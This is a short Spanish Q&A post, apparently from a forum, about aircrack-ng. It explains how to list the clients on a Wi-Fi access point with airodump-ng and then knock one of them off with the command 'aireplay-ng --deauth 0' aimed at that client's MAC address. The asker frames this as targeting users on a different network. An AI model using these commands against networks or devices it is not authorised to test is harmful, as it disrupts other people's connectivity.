Mientras utilizo aireplay-ng, las solicitudes deauth de difusión no funcionan, pero si uso deauth para un usuario específico, está funcionando bien. Pero el problema es que no sé cómo obtener la dirección Mac de un usuario específico. Mientras prueba con su propio sistema, es fácil, solo puede verificar su propia dirección MAC. ¿Pero cómo obtener la dirección mac de los usuarios en una red diferente? ¿Hay alguna manera de superar esto? Gracias por tu tiempo.
Si busca a cualquier usuario en esa red, puede usar airodump-ng en un BSSID específico. Por ejemplo, ejecutando el comando airodump-ng wlan0mon --bssid 00:00:00:00:00:AA --channel 1 . Aquí hay una salida de muestra del comando:
CH 1 ][ Elapsed: 10 s ][ 2016-12-31 12:00
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:00:00:00:00:AA -59 93 112 698 69 1 54e WPA2 CCMP PSK Network
BSSID STATION PWR Rate Lost Frames Probe
00:00:00:00:00:AA 00:00:00:00:00:AB -37 0e- 0e 0 696
00:00:00:00:00:AA 00:00:00:00:00:AC -47 0 - 1 0 24
00:00:00:00:00:AA 00:00:00:00:00:AD -66 0 - 1 0 52
Como puede ver, la ejecución del comando anterior genera el BSSID, así como los dispositivos conectados al BSSID ( 00:00:00:00:00:AB , 00:00:00:00:00:AC y 00:00:00:00:00:AD ). Ahora puede usar el comando aireplay-ng --deauth 0 -a 00:00:00:00:00:AA -c 00:00:00:00:00:AB wlan0mon para autenticar al cliente específico.
Asegúrese de subsituir este ejemplo con su propia tarjeta WiFi, dirección MAC BSSID y número de canal. Puede encontrar el BSSID y el canal que está buscando usando airodump-ng wlan0mon , nuevamente usando su tarjeta WiFi.
Lea otras preguntas en las etiquetas aircrack-ng